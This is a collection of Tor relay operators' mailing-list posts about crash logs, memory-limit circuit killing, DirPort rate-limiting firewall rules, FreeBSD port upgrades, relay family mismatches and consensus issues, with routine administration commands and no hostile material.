-BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Am 27-Sep-17 um 08:19 schrieb teor: > >> On 27 Sep 2017, at 04:46, Felix <zwie...@quantentunnel.de> >> wrote: >> >> Sep 26 18:59:28.000 [notice] Removed 106528 bytes by killing >> 14408 circuits; 0 circuits remain alive > > If you have 0 circuits remaining, it looks like something else is > taking up all the RAM. (It might not be circuits.) > Thanks T. I had to restart tor because it was idling. That's why I changed the title. No more log entries, no tor cpu business. I looked into the log with open eyes and found an error message at the end (which I overlooked because I thought it was again this trac 23551 message): Sep 26 18:59:37.000 [err] tor_assertion_failed_: Bug: src/common/buffers.c:651: buf_flush_to_socket: Assertion *buf_flushlen <= buf->datalen failed; aborting. Sep 26 18:59:37.000 [err] Bug: Assertion *buf_flushlen <= buf->datalen failed in buf_flush_to_socket at src/common/buffers.c:651. Stack trace: 0x11a2bf8 <log_backtrace+0x48> at /usr/local/bin/tor 0x11bd6f7 <tor_assertion_failed_+0x97> at /usr/local/bin/tor 0x11a421a <buf_flush_to_socket+0x22a> at /usr/local/bin/tor 0x10774eb <tor_main+0x24bb> at /usr/local/bin/tor 0x801b37d3e <event_base_assert_ok_nolock_+0xbce> at /usr/local/lib/libevent-2.1.so.6 0x801b33cfe <event_base_loop+0x50e> at /usr/local/lib/libevent-2.1.so.6 0x1072d15 <do_main_loop+0x575> at /usr/local/bin/tor 0x1075119 <tor_main+0xe9> at /usr/local/bin/tor 0x1070b69 <main+0x19> at /usr/local/bin/tor 0x1070a61 <_start+0x1a1> at /usr/local/bin/tor Sorry for the confusion. - Sep 26 18:59:37.000 [err] tor_assertion_failed_: Bug: src/common/buffers.c:651: buf_flush_to_socket: Assertion *buf_flushlen <= buf->datalen failed; aborting. (on Tor 0.3.2.1-alpha 290274dbb5428bc5 ) Sep 26 18:59:37.000 [err] Bug: Assertion *buf_flushlen <= buf->datalen failed in buf_flush_to_socket at src/common/buffers.c:651. Stack trace: (on Tor 0.3.2.1-alpha 290274dbb5428bc5) Sep 26 18:59:37.000 [err] Bug: 0x11a2bf8 <log_backtrace+0x48> at /usr/local/bin/tor (on Tor 0.3.2.1-alpha 290274dbb5428bc5) Sep 26 18:59:37.000 [err] Bug: 0x11bd6f7 <tor_assertion_failed_+0x97> at /usr/local/bin/tor (on Tor 0.3.2.1-alpha 290274dbb5428bc5) Sep 26 18:59:37.000 [err] Bug: 0x11a421a <buf_flush_to_socket+0x22a> at /usr/local/bin/tor (on Tor 0.3.2.1-alpha 290274dbb5428bc5) Sep 26 18:59:37.000 [err] Bug: 0x10774eb <tor_main+0x24bb> at /usr/local/bin/tor (on Tor 0.3.2.1-alpha 290274dbb5428bc5) Sep 26 18:59:37.000 [err] Bug: 0x801b37d3e <event_base_assert_ok_nolock_+0xbce> at /usr/local/lib/libevent-2.1.so.6 (on Tor 0.3.2.1-alpha 290274dbb5428bc5) Sep 26 18:59:37.000 [err] Bug: 0x801b33cfe <event_base_loop+0x50e> at /usr/local/lib/libevent-2.1.so.6 (on Tor 0.3.2.1-alpha 290274dbb5428bc5) Sep 26 18:59:37.000 [err] Bug: 0x1072d15 <do_main_loop+0x575> at /usr/local/bin/tor (on Tor 0.3.2.1-alpha 290274dbb5428bc5) Sep 26 18:59:37.000 [err] Bug: 0x1075119 <tor_main+0xe9> at /usr/local/bin/tor (on Tor 0.3.2.1-alpha 290274dbb5428bc5) Sep 26 18:59:37.000 [err] Bug: 0x1070b69 <main+0x19> at /usr/local/bin/tor (on Tor 0.3.2.1-alpha 290274dbb5428bc5) Sep 26 18:59:37.000 [err] Bug: 0x1070a61 <_start+0x1a1> at /usr/local/bin/tor (on Tor 0.3.2.1-alpha 290274dbb5428bc5) Sep 26 21:25:31.000 [notice] Tor 0.3.2.1-alpha (git-290274dbb5428bc5) opening log file. - - -- Cheers, Felix -BEGIN PGP SIGNATURE- Version: GnuPG v2 iQIcBAEBCAAGBQJZzWWkAAoJEF1W24InZUQdfJ4QAO8GECYSo0MEiRThZdcX5n+R /BqpndmZm9tBKOTIBrIHlsfW+V6ZG1FN8jPHsBWyFu1IzQcv7XO61tqwXK6dDRz8 kSJqGZeoIXacnQu9Pc+TZ8DRXsWB9EThcMd6vxlf/Mny53CoaZC6QR3hECu8U5Pt CPZ+jST54HEKMMcYQ79LAMmtH6ySlu2Ma6LpMvxJGu0mG4ZgjqFyLo/CBOJ0AoZS qXc42IK/+iQiZuPcUiceYWdzTWjpOjd7VlgeX0+CqAO0OP4m21tuOFWewFMqb8Nf u4A+9m4R3uyPq2h53PCjyxlagKcF5dG5Mm7g17rf16MKDh6WECcUAco74R151J6+ AevXEdkHntEXnmMbk1MHRsmlw8bFRrOCE6I8ZfJB/ubNo01Cxe+N77IWSTvIE7Aj pxplPgfu4+ay9rksVWm/rFRkY/saaNWj8wgle9jkblHZoHuzv2Kf+azvYNdKfcwI wlMUq1miKRPxMG5eu2MBrCpPodtrc3USxzEwQIOKSBxAtKw+gnugqS90Pyn2pGrn Tqsglrm7NqivulHxPH/k0lJycWT1ABvjfu0CeCNw3xWETpXN4izEIMHSxciRpdiu S4i7ZMLIJ3Hy19Vmw8pmxjWMqRM4VEYMpxHsfzMJL5OyFrsI1tmOQi/RahzaZXfV 19nt/thdR5leEMMLIJlN =iHTK -END PGP SIGNATURE- ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] MaxMemInQueues defends against 375000 circuits in 9 secs
-BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Hi everybody Another circuit storm, right ? - MaxMemInQueues 2 GB - 2017-09-26_17-55-00: PID JID USERNAME THR PRI NICE SIZE RES STATE C TIME CPU COMMAND 84847 2 256 6 20 0 484M 427M uwait 0 907:02 11.77% tor 2017-09-26_18-59-00: PID JID USERNAME THR PRI NICE SIZE RES STATE C TIME CPU COMMAND 84847 2 256 6 20 0 2437M 2380M uwait 0 917:03 18.26% tor - On Tor 0.3.2.1-alpha 290274dbb5428bc5 Sep 26 18:24:37.000 [notice] Heartbeat: Tor's uptime is 4 days 18:59 hours, with 13714 circuits open. I've sent 2459.48 GB and received 2422.58 GB. Sep 26 18:24:37.000 [notice] Circuit handshake stats since last time: 4635/4635 TAP, 113271/113271 NTor. Sep 26 18:24:37.000 [notice] Since startup, we have initiated 0 v1 connections, 0 v2 connections, 3 v3 connections, and 214559 v4 connections; and received 886 v1 connections, 24624 v2 connections, 60722 v3 connections, and 354411 v4 connections. Sep 26 18:59:28.000 [notice] We're low on memory. Killing circuits with over-long queues. (This behavior is controlled by MaxMemInQueues.) Sep 26 18:59:28.000 [notice] Removed 106528 bytes by killing 14408 circuits; 0 circuits remain alive. Also killed 0 non-linked directory connections. Sep 26 18:59:28.000 [notice] We're low on memory. Killing circuits with over-long queues. (This behavior is controlled by MaxMemInQueues.) Sep 26 18:59:28.000 [notice] Removed 528 bytes by killing 7 circuits; 0 circuits remain alive. Also killed 0 non-linked directory connections. ... 2500 x removed some bytes by killing between single and 300 circuits (constantly increasing sawtoothy, average 150 circuits) average 150 circuits x 2500 = 375000 circuits avoided in 9 seconds ... Sep 26 18:59:37.000 [notice] We're low on memory. Killing circuits with over-long queues. (This behavior is controlled by MaxMemInQueues.) Sep 26 18:59:37.000 [notice] Removed 4624 bytes by killing 115 circuits; 0 circuits remain alive. Also killed 1 non-linked directory connections. [] https:// lists.torproject.org/pipermail/tor-relays/2017-July/012624.html - -- Cheers, Felix -BEGIN PGP SIGNATURE- Version: GnuPG v2 iQIcBAEBCAAGBQJZyqCOAAoJEF1W24InZUQd/eAQAIK7IDNbnR+E1uTpvVwimUCJ jrSPr5sCXu8t4ly0Tci/tg7mCGTd9xKJvJgUHLei7pd6UmdDJvwajrX08tE/iBC/ uJPLEr69OBBqDICf7E+Y4oQGRz4ICY/4IGeb7lU/My6TzT00gHcs0/0tuww1actm P06uobAeRx+56GCg9hGopLavSOIHsR0bFC3k5kqin79qx40XwNuN6xkFCDni/fHW EO9GazD2iE4zJ3+1lIJsIzaA7fgu+Ack2GcLpaPKMNMwX3DagG/A619HsddOoBfH EFV2ZOhnR9XWytgIfPX4e/gErTHvWPshm0qaO4PzxwAlAoSKygvz497O1HZ3AlM+ fcn+C/fkfCcU2PYVPXKV3vDzupiZ17OJGfRNtAy1EqFLCK6q7xQAp1e3JuRJZBDO 3E/18FJM7JXCUz5StxwB+oAu9LGib50vXbtAOtuLwfX4OC3Nl0Fc/gw0ueYwWIPu QvsU0WNelwaUo3wWs47fJsMsJqjpt0Uywh8yvK809xvqogUFiQBF2ynIp5QzfaJ0 or/7axRHXglkxVaF+q84GFG8LAaspurGauQQFtzUdzl/ljWC963PyrGiOr0kCj/R OIc3TDSDYopFTllXeeVu2bysW7PrzL3vu5rcOHbbVAnUoRukA4Hh6qJFQuTk+Ndb tT8G8jk1QJjRqH/IaTLg =r7/i -END PGP SIGNATURE- ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] blocking >1 connections per ip address onto Tor DirPort
Hi everybody >>> Does a particular Tor server/client will open more than 1 >>> connection at a time from to the DirPort ? >> If you're worried about denial of service issues on the DirPort, >> maybe the simple answer is to turn off the DirPort? I think the >> only real impact might have something to do with whether old >> clients believe that you're a usable guard. > understood - removed those iptables rules Good discussion. My experience is protecting the dirport makes sense to avoid ddos attempts. During my Debian times this rule worked fine for me: /sbin/iptables -A INPUT -p tcp -d $IPEXT --dport 80 -j ACCEPT -m limit --limit 5/s --limit-burst 50 On FreeBSB I go with something like: pass in on $IFEXT inet proto tcp from ! to $IPEXT port 80 flags S/SA keep state (max 150,max-src-states 50,max-src-conn 50, max-src-conn-rate 20/10,overload ) # release the blockDIR after some hours pfctl -t blockDIR -T expire 7200 # hourly cron job -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] libzstd and/or liblzma
>> Can somebody please help me understand the change log for >> 3.1.x: "Support for these algorithms requires that tor is >> built with the libzstd and/or >> liblzma libraries available." Is it AND or OR or something whatever >> different ? > > > Hi! Let me try to clear it up: > > If Tor is built with liblzma available, it will use liblzma when > appropriate. The lzma format is expensive to calculate, but it > provides very good compression, so we only use it for cases when we > can compress something once and server it many many times -- like > consensus documents, or consensus diffs. > > If Tor is built with libzstd available, it will use libzstd when > appropriate. The zstd format is cheap to calculate, but appears to > provide better compression than zlib on our data. > > If Tor is built with both libraries available, it will use either one > when appropriate. > > Of course, we can only use these compression formats when both sides > support them. Thanks. Clear to me. So 'Liblzma N/A' should not be an issue. -- Cheers Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] Strange behaviour Tor 0.2.9.10 - off topic
Hi everybody I walked through the March postings and found: > (Please don't put -- in your emails. Some people use broken > mail readers that hide everything below a -- .) Indeed it's not broken, it's *Usenet Signature Convention* https://tools.ietf.org/rfc/rfc3676.txt (chapter 4.3.) That's old school - how we saved bandwidth in ancient times :) -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] TROVE-2017-002: deb.torproject.org 0.3.0.x repos no longer updated? - help yourself
Hi If you suffer from: (and https://www.freshports.org/security/tor/ is still on 3.0.6) > To help the 1.3% cw-fraction / 87 FreeBSD relays I filed > a ticket here: > https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=219364 and you are on FreeBSD source you upgrade to 3.0.6 and then put a small hack in place: Go to ports security/tor and edit the 3.0.6 distinfo to: SHA256 (tor-0.3.0.7.tar.gz) = 9640c4448ef3cad7237c68ed6984e705db8fb2b9d6bb74c8815d01bb06527d02 SIZE (tor-0.3.0.7.tar.gz) = 5779422 Change the 3.0.6 Makefile to: PORTVERSION=0.3.0.7 Copy tor-0.3.0.7.tar.gz from https://dist.torproject.org/ to /var/ports/distfiles/ # cd /usr/ports/security/tor && make deinstall clean # cd /usr/ports/security/tor && make install And voila 3.0.7 shows up. Works as well for jails (/usr/jails/myjail/var/ports/distfiles/). If you come from some older versions please check ports/UPDATING, libevent is 2.1.8 now. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] torpids family seems outdated
Hi torpids AT yahoo dot com Thank you very much for so many relays labeled torpids*. Are there contradictions in the announcement of the family ? Torstatus [1] returns 32 family members and fingerprints. Altas [2] shows as biggest family section a number of 8 relays. The manual compare of the fingerprints shows to me: * 8 relay fingerprints match and are within the pronounced family * the other 24 relays are out of the pronounced family Is the observation correct ? [1] http:// jlve2y45zacpbz6s.onion/router_detail.php?FP=0cf8f3e6590f45d50b70f2f7da6605eca6cd408f [2] https:// atlas.torproject.org/#details/6B7191639E179965FD694612C9B2C8FB4267B27D -- Best regards, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] ae rises and rises
Please check out https:// metrics.torproject.org/userstats-relay-country.html?start=2015-10-22=2017-01-29=ae=off vs https:// metrics.torproject.org/userstats-relay-country.html?start=2015-10-22=2017-01-29=all=off -- I this cool or not? ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] assign_to_cpuworker failed
Hi diffusae > The only warning I have found close to it: > > "Jan 13 11:08:46.000 [warn] Your system clock just jumped 216 seconds > forward; assuming established circuits no longer work" > > That could be due to the IPv4 autodetection? Maybe I should explicitly > set the Address option in torrc? There was similar on 027 but more massive including * assign_to_cpuworker failed * Your system clock just jumped * stalling for seconds Which is resolved since 0289. 'Address' was key. https:// trac.torproject.org/projects/tor/ticket/20423#comment:27 -- imho - like always ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] consensus-health
https:// consensus-health.torproject.org/ (observed 2017-01-03 16:00:00 and 2017-01-03 17:00:00) shows * dannenberg: Missing entirely from consensus * faravahar: Missing Signature! Valid-after time of auth's displayed consensus: 2017-01-03 15:00:00 * moria1: Sees only 2620 relays running Is https:// lists.torproject.org/pipermail/tor-consensus-health/2017-January/date.html ok ? -- imho - like always ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] TransPort: Convert iptables to pf _ nat
scrub in all
nat pass on $ext_if from $NET_JAIL to any -> $IP_PUB
rdr pass on $ext_if proto tcp from any to $IP_PUB port $PORT_TOR_JAIL ->
$IP_JAIL_TOR port $PORT_TOR_JAIL
That looks good.
There is no "pass out quick" or "pass out on" statement?
Sure, there is.
pass out on $ext_if proto { tcp udp icmp } all modulate state
Remove 'pass' form 'nat pass' if the packet shall flow through the 'pass
out' rule after 'nat'. Otherwise it will pass out without respect to any
rule.
[] https:// www.freebsd.org/cgi/man.cgi?query=pf.conf=5#end
--
imho, looking forward to 33C3 :)
___
tor-relays mailing list
tor-relays@lists.torproject.org
https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] network diversity with freeBSD - pf
> Relays do not publish descriptors until their ORPort and DirPort are reachable. > What do I have to do - how to best set-up a decent strong firewall on a freeBSD Exit? If you run packet filter pf do you want to post the outputs to 'tor-relays' or better to 'lists.nycbug.org/pipermail/tor-bsd/': # freebsd-version -ku ## kernel and userland version # cat /etc/pf.conf and/or # pfctl -vvnf /etc/pf.conf ## n = no execution # top -ab | grep tor # sockstat -l | grep tor # cat /etc/rc.conf | grep defaultrouter # cat /etc/resolv.conf Is your ports tree up to date ? I saw you went for 0.2.9.4-alpha (depracted) on Dec 1st when a newer version was available. 'portsnap fetch update' does it. [] https:// forums.freebsd.org [] https:// www.bsdforen.de [] https:// lists.freebsd.org/pipermail ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] assign_to_cpuworker failed. Ignoring.
Am 01.11.2016 um 13:19 schrieb Vinícius Zavam: 2016-10-31 20:22 GMT-03:00, Felix <zwie...@quantentunnel.de>: Am 31.10.2016 um 23:40 schrieb Vinícius Zavam: 2016-10-19 2:30 GMT-03:00, teor <teor2...@gmail.com>: On 19 Oct. 2016, at 16:25, Felix <zwie...@quantentunnel.de> wrote: Hi everybody May be someone can help with this warning: The security update (Tor v0.2.8.9 running on FreeBSD with Libevent 2.0.22-stable, OpenSSL LibreSSL 2.4.3 and Zlib 1.2.8.) shows the following log entry each hour: Oct 19 02:51:07.000 [warn] Your system clock just jumped 136 seconds forward; assuming established circuits no longer work. Oct 19 02:51:07.000 [warn] assign_to_cpuworker failed. Ignoring. ... Oct 19 02:51:07.000 [warn] assign_to_cpuworker failed. Ignoring. Oct 19 02:51:15.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working. ... Oct 19 03:51:10.000 [warn] Your system clock just jumped 138 seconds forward; assuming established circuits no longer work. Oct 19 03:51:11.000 [warn] assign_to_cpuworker failed. Ignoring. ... Oct 19 04:50:37.000 [warn] Your system clock just jumped 105 seconds forward; assuming established circuits no longer work. Oct 19 04:50:37.000 [warn] assign_to_cpuworker failed. Ignoring. ... Oct 19 05:51:14.000 [warn] Your system clock just jumped 142 seconds forward; assuming established circuits no longer work. Oct 19 05:51:15.000 [warn] assign_to_cpuworker failed. Ignoring. ... The warning first appeared on 2.8.7 after update on September 13th (Tor v0.2.8.7 running on FreeBSD with Libevent 2.0.22-stable, OpenSSL LibreSSL 2.4.2 and Zlib 1.2.8.). That time I switched back (Tor v0.2.7.6 running on FreeBSD with Libevent 2.0.22-stable, OpenSSL LibreSSL 2.4.2 and Zlib 1.2.8.) and the warning disappeared. What can I do? The warning is reproted in tor-talk: https:// lists.torproject.org/pipermail/tor-talk/2016-October/042425.html Thanks for reporting this issue - you could open a bug on our bug tracker under Core Tor/Tor: https://trac.torproject.org/projects/tor/newticket It would help us to know if it's just FreeBSD, or just LibreSSL. Maybe mention the bug number on tor-talk, so that poster can provide more details? Tim -- Best regards, Felix T -- Tim Wilson-Brown (teor) felix, that might not be related to Tor, but to your host's clock setup and/or your jail's setup. # tor --version Tor version 0.2.9.4-alpha (git-8b0755c9bb296ae2). # uname -ai FreeBSD cq110a 10.3-RELEASE-p7 FreeBSD 10.3-RELEASE-p7 #0: Thu Aug 11 18:37:29 UTC 2016 r...@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386 GENERIC # grep -i jump /var/log/tor/notice.log | wc -l 0 # sysctl security.jail.jailed security.jail.jailed: 1 # uptime 7:32PM up 18 days, 4:44, 1 user, load averages: 0.21, 0.21, 0.17 Good to see Tor in a jail runs for you. For me it did until 0.2.8. You want to take a look at https:// trac.torproject.org/projects/tor/ticket/20423 ? -- Cheers, Felix thanks for pointing out the ticket. how long should we wait to see the warning? # git branch maint-0.2.9 master * release-0.2.8 # tor --version Tor version 0.2.8.9-dev (git-badc444f7adce748). # head /var/log/tor/notice.log_r0289 Oct 31 22:48:44.000 [notice] Tor 0.2.8.9-dev (git-badc444f7adce748) opening new log file. Oct 31 22:48:44.632 [notice] Tor v0.2.8.9-dev (git-badc444f7adce748) running on FreeBSD with Libevent 2.0.22-stable, OpenSSL LibreSSL 2.5.0 and Zlib 1.2.8. Oct 31 22:48:44.633 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning Oct 31 22:48:44.633 [notice] Read configuration file "/usr/local/etc/tor/torrc". Oct 31 22:48:44.742 [notice] Opening OR listener on [:xxxy:xxxz::abcd]:9021 Oct 31 22:48:44.752 [notice] Opening OR listener on a.b.c.d:9021 Oct 31 22:48:44.752 [notice] Opening Extended OR listener on 127.0.0.1:0 Oct 31 22:48:44.752 [notice] Extended OR listener listening on port 29790. Oct 31 22:48:44.752 [notice] Opening Directory listener on a.b.c.d:9000 Oct 31 22:48:44.000 [notice] Parsing GEOIP IPv4 file /usr/local/share/tor/geoip. # uname -ai FreeBSD cq110a 10.3-RELEASE-p7 FreeBSD 10.3-RELEASE-p7 #0: Thu Aug 11 18:37:29 UTC 2016 r...@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386 GENERIC # tail -n3 /var/log/tor/notice.log_r0289 Nov 01 08:51:24.000 [notice] Heartbeat: Tor's uptime is 10:00 hours, with 19 circuits open. I've sent 167.56 MB and received 175.42 MB. Nov 01 08:51:24.000 [notice] Circuit handshake stats since last time: 44/44 TAP, 187/187 NTor. Nov 01 08:51:24.000 [notice] Since startup, we have initiated 0 v1 connections, 0 v2 connections, 0 v3 connections, and 1357 v4 connections; and received 0 v1 connections, 59 v2 connections, 52 v3 connections, an # grep -i jump /var/log/tor/notice.log_r0289 | wc -l 0 I see warnings with about more than 500 circuits. My log says: Oct 19 01:04:52.527 [not
Re: [tor-relays] assign_to_cpuworker failed. Ignoring.
Am 31.10.2016 um 23:40 schrieb Vinícius Zavam: 2016-10-19 2:30 GMT-03:00, teor <teor2...@gmail.com>: On 19 Oct. 2016, at 16:25, Felix <zwie...@quantentunnel.de> wrote: Hi everybody May be someone can help with this warning: The security update (Tor v0.2.8.9 running on FreeBSD with Libevent 2.0.22-stable, OpenSSL LibreSSL 2.4.3 and Zlib 1.2.8.) shows the following log entry each hour: Oct 19 02:51:07.000 [warn] Your system clock just jumped 136 seconds forward; assuming established circuits no longer work. Oct 19 02:51:07.000 [warn] assign_to_cpuworker failed. Ignoring. ... Oct 19 02:51:07.000 [warn] assign_to_cpuworker failed. Ignoring. Oct 19 02:51:15.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working. ... Oct 19 03:51:10.000 [warn] Your system clock just jumped 138 seconds forward; assuming established circuits no longer work. Oct 19 03:51:11.000 [warn] assign_to_cpuworker failed. Ignoring. ... Oct 19 04:50:37.000 [warn] Your system clock just jumped 105 seconds forward; assuming established circuits no longer work. Oct 19 04:50:37.000 [warn] assign_to_cpuworker failed. Ignoring. ... Oct 19 05:51:14.000 [warn] Your system clock just jumped 142 seconds forward; assuming established circuits no longer work. Oct 19 05:51:15.000 [warn] assign_to_cpuworker failed. Ignoring. ... The warning first appeared on 2.8.7 after update on September 13th (Tor v0.2.8.7 running on FreeBSD with Libevent 2.0.22-stable, OpenSSL LibreSSL 2.4.2 and Zlib 1.2.8.). That time I switched back (Tor v0.2.7.6 running on FreeBSD with Libevent 2.0.22-stable, OpenSSL LibreSSL 2.4.2 and Zlib 1.2.8.) and the warning disappeared. What can I do? The warning is reproted in tor-talk: https:// lists.torproject.org/pipermail/tor-talk/2016-October/042425.html Thanks for reporting this issue - you could open a bug on our bug tracker under Core Tor/Tor: https://trac.torproject.org/projects/tor/newticket It would help us to know if it's just FreeBSD, or just LibreSSL. Maybe mention the bug number on tor-talk, so that poster can provide more details? Tim -- Best regards, Felix T -- Tim Wilson-Brown (teor) felix, that might not be related to Tor, but to your host's clock setup and/or your jail's setup. # tor --version Tor version 0.2.9.4-alpha (git-8b0755c9bb296ae2). # uname -ai FreeBSD cq110a 10.3-RELEASE-p7 FreeBSD 10.3-RELEASE-p7 #0: Thu Aug 11 18:37:29 UTC 2016 r...@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386 GENERIC # grep -i jump /var/log/tor/notice.log | wc -l 0 # sysctl security.jail.jailed security.jail.jailed: 1 # uptime 7:32PM up 18 days, 4:44, 1 user, load averages: 0.21, 0.21, 0.17 Good to see Tor in a jail runs for you. For me it did until 0.2.8. You want to take a look at https:// trac.torproject.org/projects/tor/ticket/20423 ? -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] assign_to_cpuworker failed. Ignoring.
Thanks for picking up. > It would help us to know if it's just FreeBSD, or just LibreSSL. It's both LibreSSL on FreeBSD 10.1. Same setup worked fine since months through serveral versions of Tor (2.6.x and 2.7.x) and LibreSSL (2.2.x until today). > Maybe mention the bug number on tor-talk, so that poster can provide more details? Might be. -- Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] assign_to_cpuworker failed. Ignoring.
Hi everybody May be someone can help with this warning: The security update (Tor v0.2.8.9 running on FreeBSD with Libevent 2.0.22-stable, OpenSSL LibreSSL 2.4.3 and Zlib 1.2.8.) shows the following log entry each hour: Oct 19 02:51:07.000 [warn] Your system clock just jumped 136 seconds forward; assuming established circuits no longer work. Oct 19 02:51:07.000 [warn] assign_to_cpuworker failed. Ignoring. ... Oct 19 02:51:07.000 [warn] assign_to_cpuworker failed. Ignoring. Oct 19 02:51:15.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working. ... Oct 19 03:51:10.000 [warn] Your system clock just jumped 138 seconds forward; assuming established circuits no longer work. Oct 19 03:51:11.000 [warn] assign_to_cpuworker failed. Ignoring. ... Oct 19 04:50:37.000 [warn] Your system clock just jumped 105 seconds forward; assuming established circuits no longer work. Oct 19 04:50:37.000 [warn] assign_to_cpuworker failed. Ignoring. ... Oct 19 05:51:14.000 [warn] Your system clock just jumped 142 seconds forward; assuming established circuits no longer work. Oct 19 05:51:15.000 [warn] assign_to_cpuworker failed. Ignoring. ... The warning first appeared on 2.8.7 after update on September 13th (Tor v0.2.8.7 running on FreeBSD with Libevent 2.0.22-stable, OpenSSL LibreSSL 2.4.2 and Zlib 1.2.8.). That time I switched back (Tor v0.2.7.6 running on FreeBSD with Libevent 2.0.22-stable, OpenSSL LibreSSL 2.4.2 and Zlib 1.2.8.) and the warning disappeared. What can I do? The warning is reproted in tor-talk: https:// lists.torproject.org/pipermail/tor-talk/2016-October/042425.html -- Best regards, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] New month, new TOR exit servers, need ELI5 pls
Hey. Am 22.05.2016 16:00, schrieb Markus Koch: Yes, but how many ports do I have to open to be "useful"? In an extreme case: Would it help just to forward port 80 and 433? It would still be useful and receive the "Exit" flag: "Exit" -- A router is called an 'Exit' iff it allows exits to at least two of the ports 80, 443, and 6667 and allows exits to at least one /8 address space. -- https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n2133 felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Relays by AS Names
Hey. Am 05.04.2016 20:24, schrieb SuperSluether: I want to host an exit relay, but at the same time I don't want to use a service that already hosts multiple Tor relays. Is there a website that lists relays by AS Names so I can find a service that isn't already populated with Tor? https://compass.torproject.org/ supports searching by AS and grouping relays by AS. felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] Ticket #18489
Hi I stumbled over [1]. As I operate Doedel26 I checked DownloadExtraInfo was default. After change in torrc to 1 and reload 'cached-extrainfo' showed up in /var/db/tor/. Can someone please advice how to deal with it ? Best regards, Felix [1] https://trac.torproject.org/projects/tor/ticket/18489 ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] Opt-In Trial: Fallback Directory Mirrors
Hi I'm happy to bring in the relay Doedel22 '8FA37B93397015B2BC5A525C908485260BE9F422'. Best regards, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Consensus weight dropped
On 20.01.2015 23:38, Network Operations Center wrote: Very thorough explanation, thanks. I assume that there is nothing I can do except wait until a.) a new BWauth script is being introduced or b.) hope that a third node rediscovers me and once I have 3 votes in the bag I'm back on track. What about c.): Clearing out the relay keys to recreate the nodes' identity? BR Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] Relays not listed
Hi most of my relays are no longer listed on Torstatus* and Consensus**. But they perform like they should. out $E388F7BD196F5195AEF114552585152EA6942329 out $2691AE47D3E1D5702520F2792951927C9FE82C67 out $8d1a618c523a8cc761b7253e96c6d19285c47029 out $05d54acea361a57b16cd461340bd32f39383470e out $1E64DACE137A4A6223E7A4A73060A22ECA46D7B3 out $772C86361E276271665579621815F43311A29DA6 out $A53F5920B86F8190569BDFD59F7818BA73966CC3 out $9FBD26A8EB88126FCEF76205255571E450170949 out $BF4FFC4EE4D56AD6506D6FA96BA9EBD8001744BB in $5B3B9A0EA1DC16F6348C57FCC83BBB43D1013F4A I found Atlas was down between 21:30 ans 01:30 yesterday night. Any ideas ? Cheers, Felix * http: jlve2y45zacpbz6s.onion/index.php ** https: consensus-health.torproject.org/consensus-health.html ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] ntp needs attention
Hi See: https bugs.debian.org/cgi-bin/bugreport.cgi?bug=773576 Debian will be fixed by 'apt-get update' and 'apt-get upgrade'. dpkg.log tells if the fix is in place: https security-tracker.debian.org/tracker/CVE-2014-9293 ... Cheers! ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] List of Relays' Available SSH Auth Methods
